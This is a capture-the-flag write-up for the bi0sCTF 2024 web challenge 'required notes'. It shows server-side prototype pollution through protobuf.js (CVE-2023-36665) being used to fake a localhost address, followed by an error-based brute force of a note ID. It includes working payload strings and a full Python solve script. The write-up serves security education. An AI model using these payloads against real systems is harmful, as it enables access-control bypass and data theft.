required notes
Table of Contents
Overview
- Solved by: @siunam
- Contributor: @obeidat., @yakikdafi
- 36 solves / 311 points
- Author: Z_Pacifist
- Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆
Background
Every CTF requires at least one overly complicated notes app.
Enumeration
Index page:
When we go to the index page (/
), it redirected us to /create
.
In here, we can create some notes:
Burp Suite HTTP history:
When we clicked the “Create Note” button, it’ll send a POST request to /create
with a JSON object attribute title
and content
.
Upon successful creation, a JSON object with Message
and Noteid
is respond back to us. Then, the front-end will display a note ID link.
When we clicked on the note ID link, it brings us to /view/<noteId>
:
We can also delete the created notes if we want by clicking the “Delete” button:
But it seems like it just append a GET parameter name temp
to our URL?
There’s not much we can do in here, let’s view this web application’s source code.
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|10:43:27(HKT)]
└> file requirednotes.zip
requirednotes.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|10:43:27(HKT)]
└> unzip requirednotes.zip
Archive: requirednotes.zip
creating: src/
inflating: src/Dockerfile
inflating: src/package-lock.json
inflating: src/bot.js
creating: src/views/
inflating: src/views/create.ejs
inflating: src/views/view.ejs
inflating: src/views/customise.ejs
inflating: src/index.js
inflating: src/settings.proto
inflating: src/package.json
By reading the source a little bit, we have the following findings:
src/index.js
:
[...]
const fs = require('fs');
[...]
function generateNoteId(length) {
const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < length; i++) {
const randomIndex = Math.floor(Math.random() * characters.length);
result += characters.charAt(randomIndex);
}
return result;
}
[...]
let flag = process.env.FLAG;
if(!flag){
flag='{"title":"flag","content":"bi0sctf{fake_flag}"}';
}
else{
flag=`{"title":"flag","content":"${flag}"}`;
}
const flagid = generateNoteId(16);
[...]
fs.writeFileSync(`./notes/${flagid}.json`, flag);
[...]
As you can see, the flag is in a random note, and the note ID (flagid
) is 16 characters long.
It is worth noting that the
randomIndex
usesMath.random()
method to generate a random index. SinceMath.random()
is a pseudo-random number generator (PRNG), the results should be predictable.
src/index.js
, POST method route /create
:
[...]
const protobuf = require('protobufjs');
[...]
app.post('/create', (req, res) => {
requestBody=req.body
try{
schema = fs.readFileSync('./settings.proto', 'utf-8');
root = protobuf.parse(schema).root;
Note = root.lookupType('Note');
errMsg = Note.verify(requestBody);
if (errMsg){
return res.json({ Message: `Verification failed: ${errMsg}` });
}
buffer = Note.encode(Note.create(requestBody)).finish();
decodedData = Note.decode(buffer).toJSON();
const noteId = generateNoteId(16);
fs.writeFileSync(`./notes/${noteId}.json`, JSON.stringify(decodedData));
noteList.push(noteId);
return res.json({Message: 'Note created successfully!',Noteid: noteId });
}
catch (error) {
console.error(error);
res.status(500).json({Message: 'Internal server error' });
}
});
[...]
In here, we can see that it uses protobuf.js to parse the schema in src/settings.proto
, lookup the Note
type, and valid our request body is match to the Note
type in the schema. If it’s matched, it’ll create a new note.
src/settings.proto
:
syntax = "proto2";
message Note {
optional string title = 1 [default="user"];
optional string content = 2;
optional string author = 3 [default="user"];
}
In here, we can see that the Note
type has 3 optional
attributes: title
, content
, and author
. So, those 3 attributes are optional when we submitting the note creation POST request.
Hmm… What’s that protobuf.js?
“Protocol Buffers are a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google (see).
protobuf.js is a pure JavaScript implementation with TypeScript support for node.js and the browser. It’s easy to use, blazingly fast and works out of the box with .proto files!” - https://github.com/protobufjs/protobuf.js
Now, when it comes to application’s dependencies, some of them have vulnerabilities. Therefore, I wonder are there any vulnerabilities in protobuf.js in the wild-west?
Let’s Google “protobufjs vulnerability”:
Oh! Looks like it has a vulnerability about Prototype Pollution?
In the Code Intelligence blog post, we can see which versions are vulnerable to Prototype Pollution:
The maintainers have already released an update fixing the issue. Versions from 6.10.0 to 7.2.4 are affected and thus vulnerable to Prototype Pollution. We strongly recommend that impacted users upgrade to the newer version that includes the fixes, i.e., version 7.2.4 and above.
In src/package.json
, we can see the web application’s protobuf.js version:
{
"name": "bi0sctfchall",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"body-parser": "1.20.2",
"ejs": "3.1.9",
"express": "4.18.2",
"glob": "10.3.3",
"protobufjs": "7.2.3",
"puppeteer": "21.5.2"
}
}
Ohh! It’s version 7.2.3
, which is vulnerable to Prototype Pollution!
In the blog post, it has a vulnerable code example:
const protobuf = require("protobufjs");
protobuf.parse('option(a).constructor.prototype.verified = true;');
console.log({}.verified);
// returns true
When the Protocol Buffers schema is controllable by the user, we can pollute the verified
object attribute to boolean value true
.
Prototype Pollution (PP) is a vulnerability that enables an attacker to add arbitrary attributes to global object prototypes.
When an attribute is polluted, the entire
Object.prototype
has the polluted attribute and its value instead ofundefined
.
Uhh… Wait, in our case, is the Protocol Buffers schema is controllable by us??
src/index.js
, GET method route /customise
:
[...]
app.get('/customise', (req, res) => {
return res.render('customise');
});
[...]
Umm… There’s a route that we didn’t explore before, let’s go to there:
In here, it looks like we can customize the note’s settings?
Let’s select “Title” and click the “Customize” button:
Burp Suite HTTP history:
When we clicked the “Customize” button, it’ll send a POST request to /customise
with a JSON object.
src/index.js
, POST method route /customise
:
[...]
app.post('/customise',(req, res) => {
try {
const { data } = req.body;
let author = data.pop()['author'];
let title = data.pop()['title'];
let protoContents = fs.readFileSync('./settings.proto', 'utf-8').split('\n');
if (author) {
protoContents[5] = ` ${author} string author = 3 [default="user"];`;
}
if (title) {
protoContents[3] = ` ${title} string title = 1 [default="user"];`;
}
fs.writeFileSync('./settings.proto', protoContents.join('\n'), 'utf-8');
return res.json({ Message: 'Settings changed' });
} catch (error) {
console.error(error);
res.status(500).json({ Message: 'Internal server error' });
}
})
[...]
In here, we can send a POST request JSON body, which contains object attribute author
or title
. If we send an object attribute author
, we can insert our own value into the Protocol Buffers schema message type Note
. After that, the settings.proto
file is written on the disk.
Luckily, this route doesn’t check/validate our input, so we can just inject a new field into it. Hence, the Protocol Buffers schema is controllable by us.
So, if we inject our Prototype Pollution payload to the message type Note
in settings.proto
, then create a new note, our payload’s object attribute should be overwritten on the web application.
But, what’s our goal in here? Like read the flag note? RCE (Remote Code Execution)? Let’s keep the Prototype Pollution vulnerability in mind and move on.
src/index.js
, GET method route /view/:noteId
:
[...]
app.get('/view/:noteId', (req, res) => {
const noteId = req.params.noteId;
try {
let note=require.resolve(`./notes/${noteId}`);
if(!note.endsWith(".json")){
return res.status(500).json({ Message: 'Internal Server Error' });
}
let noteData = require(`./notes/${noteId}`);
for (var key in module.constructor._pathCache) {
if (key.startsWith("./notes/"+noteId)){
if (!module.constructor._pathCache[key].endsWith(noteId+".json")){
if (noteId===healthCheckId){
cleanserver();
}
delete module.constructor._pathCache[key];
return res.status(500).json({ Message: 'Internal Server Error' });
}
}
}
if(req.query.temp !== undefined){
fs.unlink(`./notes/${noteId}.json`, (unlinkError) => {
if (unlinkError) {
console.error('File missing');
}
noteList=noteList.filter((value)=>value!=noteId);
});
}
return res.render('view', { noteData });
} catch (error) {
console.log(error)
return res.status(500).json({ Message: 'Internal Server Error' });
}
});
[...]
In here, when noteId
is provided, it’ll loop through the note pathCache
from this module’s constructor
that are cached by require()
. This will check the note file has .json
extension or not.
Then, if GET parameter temp
is provided, it’ll delete the note JSON file.
Hmm… The _pathCache
looks weird to me… Anyway, let’s move on.
src/index.js
, GET method route /search/:noteId
:
[...]
const glob = require('glob');
[...]
app.get('/search/:noteId', (req, res) => {
const noteId = req.params.noteId;
const notes=glob.sync(`./notes/${noteId}*`);
if(notes.length === 0){
return res.json({Message: "Not found"});
}
else{
try{
fs.accessSync(`./notes/${noteId}.json`);
return res.json({Message: "Note found"});
}
catch(err){
return res.status(500).json({ Message: 'Internal server error' });
}
}
})
[...]
In this route, when noteId
is provided, it’ll search the note JSON file using glob.sync()
method.
Uhh… What’s that module glob
and sync()
method?
“Match files using the patterns the shell uses.” - https://www.npmjs.com/package/glob
“Perform a synchronous glob search for the pattern(s) specified.” - https://www.npmjs.com/package/glob#globsyncpattern-string–string-options-globoptions–string–path
What that means is, glob.sync()
is to search for files just like in a Bash shell.
In our case, the glob.sync()
has a wildcard character (*
) appended into the noteId
.
Then, if there’s a match, returns JSON message Note found
, otherwise returns HTTP status code 500 with JSON message Internal server error
.
Ah ha! That being said, we can brute force the note ID with an error-based oracle!
But wait! There’s a catch!
src/index.js
, route /search
:
[...]
const restrictToLocalhost = (req, res, next) => {
const remoteAddress = req.connection.remoteAddress;
if (remoteAddress === '::1' || remoteAddress === '127.0.0.1' || remoteAddress === '::ffff:127.0.0.1') {
next();
} else {
res.status(403).json({ Message: 'Access denied' });
}
};
[...]
app.use('/search', restrictToLocalhost);
[...]
In here, we can see that the /search
route is only allowed for remoteAddress
is localhost.
Ah… How can we bypass that?… Maybe Prototype Pollution can help us??
Exploitation
Armed with the above information, we can put all the puzzles altogether!
Here’s the flow:
- Inject our own Prototype Pollution payload into the message type
Note
via POST method route/customise
- Pollute the payload’s object attribute with the payload’s object attribute’s value via POST method route
/create
- Brute force the flag’s note ID via GET method route
/search/:noteId
- View the flag’s note via GET method route
/view/:noteId
Hmm… Which object’s attribute should we pollute?
To find out, let’s run the web application locally using Docker!
Build the image:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|13:13:54(HKT)]
└> sudo docker build -t required-notes src/.
[...]
Run the container with an interactive shell:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|13:20:39(HKT)]
└> sudo docker run --name ctf-required-notes -it --entrypoint='/bin/sh' --user 0 -p 3000:3000 required-notes:latest
/app # whoami; id
root
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Note: To test the web application locally, I always like to spawn an interactive shell inside the container. Also, I ran the container as
root
because of the file permissions.
Now, in the src/index.js
, we can add a console.log()
function in the restrictToLocalhost
arrow function to debug the web application:
[...]
const restrictToLocalhost = (req, res, next) => {
const remoteAddress = req.connection.remoteAddress;
console.log(req.connection);
if (remoteAddress === '::1' || remoteAddress === '127.0.0.1' || remoteAddress === '::ffff:127.0.0.1') {
next();
} else {
res.status(403).json({ Message: 'Access denied' });
}
};
[...]
Then, transfer the index.js
to the Docker container:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|13:27:39(HKT)]
└> sudo docker cp src/index.js ctf-required-notes:/app/index.js
On the Docker container, run the web application using nodejs
:
/app # nodejs index.js
Server running on port 3000
Then, we can test the new debug route:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|13:27:41(HKT)]
└> curl http://localhost:3000/search
{"Message":"Access denied"}
/app # nodejs index.js
Server running on port 3000
<ref *2> Socket {
connecting: false,
_hadError: false,
_parent: null,
[...]
Now, we can find out which object req.connection
’s attribute we can pollute!
But first, let’s confirm the Prototype Pollution is really exist in this web application.
To do so, I’ll pollute the Object.prototype
with a dummy attribute called foo
to string value bar
.
Payload:
{"data":[{"title":"option(foobar).constructor.prototype.foo = \"bar\";optional"},{"author":"optional"}]}
Before:
console.log({}.foo);
undefined
After polluted:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|13:50:05(HKT)]
└> curl http://localhost:3000/search
{"Message":"Access denied"}
TypeError: Cannot assign to read only property 'prototype' of function 'function Object() { [native code] }'
at setProp (/app/node_modules/protobufjs/src/util.js:183:23)
at setProp (/app/node_modules/protobufjs/src/util.js:183:25)
at Object.setProperty (/app/node_modules/protobufjs/src/util.js:199:12)
at Type.setParsedOption (/app/node_modules/protobufjs/src/object.js:203:30)
at setParsedOption (/app/node_modules/protobufjs/src/parse.js:681:20)
at parseOption (/app/node_modules/protobufjs/src/parse.js:611:9)
at parseCommon (/app/node_modules/protobufjs/src/parse.js:256:17)
at parseType_block (/app/node_modules/protobufjs/src/parse.js:309:17)
at ifBlock (/app/node_modules/protobufjs/src/parse.js:290:17)
at parseType (/app/node_modules/protobufjs/src/parse.js:308:9)
bar
Although the application threw a TypeError
exception, our foo
object attribute has been polluted!
Now that we confirmed the Prototype Pollution is working, let’s move on!
After exploring all the attributes in object req.conneciton
, I found the _peername
private attribute:
[...]
_peername: { address: '::ffff:172.17.0.1', family: 'IPv6', port: 45914 },
[...]
Uh… In this attribute, the value’s object attribute address
is the same as the req.connection.remoteAddress
:
console.log(req.connection.remoteAddress);
// ::ffff:172.17.0.1
Hmm… What’s that attribute _peername
…
When we Google “express js _peername”, we can find this StackOverflow post:
In that post, it says:
“So it seems that the order is important - request.client._peername does not get instantiated before request.connection.remoteAddress is executed.”
Hmm… Looks like when remoteAddress
is executed, the _peername
will get instantiated.
Ah ha! What if, I pollute the _peername
’s attribute address
to 127.0.0.1
?
Let’s try that!
Server:
[...]
const restrictToLocalhost = (req, res, next) => {
console.log(req.connection._peername);
const remoteAddress = req.connection.remoteAddress;
console.log(req.connection._peername);
if (remoteAddress === '::1' || remoteAddress === '127.0.0.1' || remoteAddress === '::ffff:127.0.0.1') {
next();
} else {
res.status(403).json({ Message: 'Access denied' });
}
};
[...]
Payload:
{"data":[{"title":"option(foobar).constructor.prototype._peername.address = \"127.0.0.1\";optional"},{"author":"optional"}]}
Before polluted:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|14:18:12(HKT)]
└> curl http://localhost:3000/search
{"Message":"Access denied"}
undefined
{ address: '::ffff:172.17.0.1', family: 'IPv6', port: 50844 }
After polluted:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|14:20:07(HKT)]
└> curl http://localhost:3000/search
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /search</pre>
</body>
</html>
{ address: '127.0.0.1' }
{ address: '127.0.0.1' }
Nice!!! We successfully polluted the _peername
’s address
to become 127.0.0.1
!! And now we can access the /search
route!
Let’s go!
Here’s come the final step: Brute force the flag note ID via error-based oracle.
We can take an existing note called Healthcheck
for an example:
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|14:28:12(HKT)]
└> curl http://localhost:3000/search/Healthchea
{"Message":"Not found"}
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|14:28:16(HKT)]
└> curl http://localhost:3000/search/Healthchec
{"Message":"Internal server error"}
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|14:28:45(HKT)]
└> curl http://localhost:3000/search/Healthcheck
{"Message":"Note found"}
When the note ID is incorrect, it returns Not found
, otherwise it returns Internal server error
. Also, when the final character of the note ID is correct, it returns Note found
.
Based on the above Prototype Pollution and error-based oracle, we can develop a solve script to get the flag!
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
from re import search
class Solver:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.FLAG_FORMAT_REGEX_PATTERN = r'(bi0sctf{.*})'
self.CUSTOMISE_ROUTE = '/customise'
self.CREATE_NOTE_ROUTE = '/create'
self.SEARCH_NOTE_ID_ROUTE = '/search/'
self.VIEW_NOTE_ROUTE = '/view/'
self.PROTOBUF_SCHEMA_PAYLOAD = 'option(foobar).constructor.prototype._peername.address = \"127.0.0.1\";optional'
self.FLAG_NOTE_ID_LENGTH = 16
self.CHARACTER_SET = 'abcdefghijklmnopqrstuvwxyz0123456789'
self.INCORRECT_CHARACTER_STATUS_CODE = 200
self.CORRECT_CHARACTER_STATUS_CODE = 500
self.CORRECT_FINAL_CHARACTER_MESSAGE = 'Note found'
self.leakedFlagNoteId = str()
def injectPayloadToProtoBufSchema(self):
print('[*] Injecting the Prototype Pollution payload into the message type `Note`...')
dataObject = {'data':[{'title':self.PROTOBUF_SCHEMA_PAYLOAD},{'author':'optional'}]}
response = requests.post(f'{self.baseUrl}{self.CUSTOMISE_ROUTE}', json=dataObject)
isInjected = True if response.status_code == 200 else False
if not isInjected:
print('[-] The Prototype Pollution payload didn\'t get injected into the message type `Note`')
exit(0)
print('[+] The Prototype Pollution payload has been injected into the message type `Note`!')
def pollutePeernameAttributeAddress(self):
print('[*] Polluting `_peername`\'s attribute `address` into "127.0.0.1"...')
dataObject = {'title':'','content':''}
response = requests.post(f'{self.baseUrl}{self.CREATE_NOTE_ROUTE}', json=dataObject)
confirmPollutionResponseStatusCode = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}').status_code
isPolluted = True if confirmPollutionResponseStatusCode == 404 else False
if not isPolluted:
print('[-] `_peername`\'s attribute `address` didn\'t get polluted')
exit(0)
print('[+] `_peername`\'s attribute `address` has been polluted!')
def bruteForceNoteIdViaErrorBasedOracle(self):
print('[*] Brute forcing the flag\'s note ID...')
leakedFlagNoteId = str()
while len(leakedFlagNoteId) < self.FLAG_NOTE_ID_LENGTH:
for character in self.CHARACTER_SET:
print(f'[*] Brute forcing character "{character}" | Current leaked flag note ID: {leakedFlagNoteId}', end='\r')
fullLeakedNoteId = leakedFlagNoteId + character
response = requests.get(f'{self.baseUrl}{self.SEARCH_NOTE_ID_ROUTE}{fullLeakedNoteId}')
isCorrectCharacter = True if response.status_code == self.CORRECT_CHARACTER_STATUS_CODE else False
isIncorrectCharacter = True if response.status_code == self.INCORRECT_CHARACTER_STATUS_CODE else False
if isIncorrectCharacter:
isCorrectFinalCharacter = True if response.json()['Message'] == self.CORRECT_FINAL_CHARACTER_MESSAGE else False
if isCorrectFinalCharacter:
leakedFlagNoteId += character
break
if not isCorrectCharacter:
continue
leakedFlagNoteId += character
break
if len(leakedFlagNoteId) != self.FLAG_NOTE_ID_LENGTH:
print('\n[-] Couldn\'t brute force the flag\'s note ID')
exit(0)
self.leakedFlagNoteId = leakedFlagNoteId
print(f'\n[+] The flag\'s note ID has been brute forced! Note ID: {self.leakedFlagNoteId}')
def viewFlagNote(self):
flagNoteId = self.leakedFlagNoteId
response = requests.get(f'{self.baseUrl}{self.VIEW_NOTE_ROUTE}{flagNoteId}')
soup = BeautifulSoup(response.text, 'html.parser')
flagText = soup.find('p').text
isMatchedFlag = search(self.FLAG_FORMAT_REGEX_PATTERN, flagText)
if not isMatchedFlag:
print('\n[-] Couldn\'t view the flag\'s note')
exit(0)
flag = isMatchedFlag.group(1)
print(f'[+] The flag note has been viewed! Here\'s the flag: {flag}')
def solve(self):
self.injectPayloadToProtoBufSchema()
self.pollutePeernameAttributeAddress()
self.bruteForceNoteIdViaErrorBasedOracle()
self.viewFlagNote()
def argumentParser():
parser = argparse.ArgumentParser(description='A solve script for web challenge "required notes" at bi0sCTF 2024.')
parser.add_argument('-b', '--baseurl', metavar='<Base URL>', help='The instance\'s base URL. For example: https://ch15340143281.ch.eng.run', required=True)
return parser.parse_args()
if __name__ == '__main__':
args = argumentParser()
solver = Solver(args.baseurl)
solver.solve()
┌[siunam♥Mercury]-(~/ctf/bi0sCTF-2024/Web-Exploitation/required-notes)-[2024.02.26|15:38:50(HKT)]
└> python3 solve.py -b https://ch15340143281.ch.eng.run
[*] Injecting the Prototype Pollution payload into the message type `Note`...
[+] The Prototype Pollution payload has been injected into the message type `Note`!
[*] Polluting `_peername`'s attribute `address` into "127.0.0.1"...
[+] `_peername`'s attribute `address` has been polluted!
[*] Brute forcing the flag's note ID...
[*] Brute forcing character "v" | Current leaked flag note ID: jg5hqydgji6zqxj
[+] The flag's note ID has been brute forced! Note ID: jg5hqydgji6zqxjv
[+] The flag note has been viewed! Here's the flag: bi0sctf{w5m5GLtb1aISx8s9xhL8vw==}
Note: If you previously polluted
_peername
’s attributeaddress
, you’ll need to clean the attributeaddress
. Or maybe you can spawn a new remote instance.
Conclusion
What we’ve learned:
- Server-Side Prototype Pollution in protobuf.js (CVE-2023-36665)
- Brute forcing with error-based oracle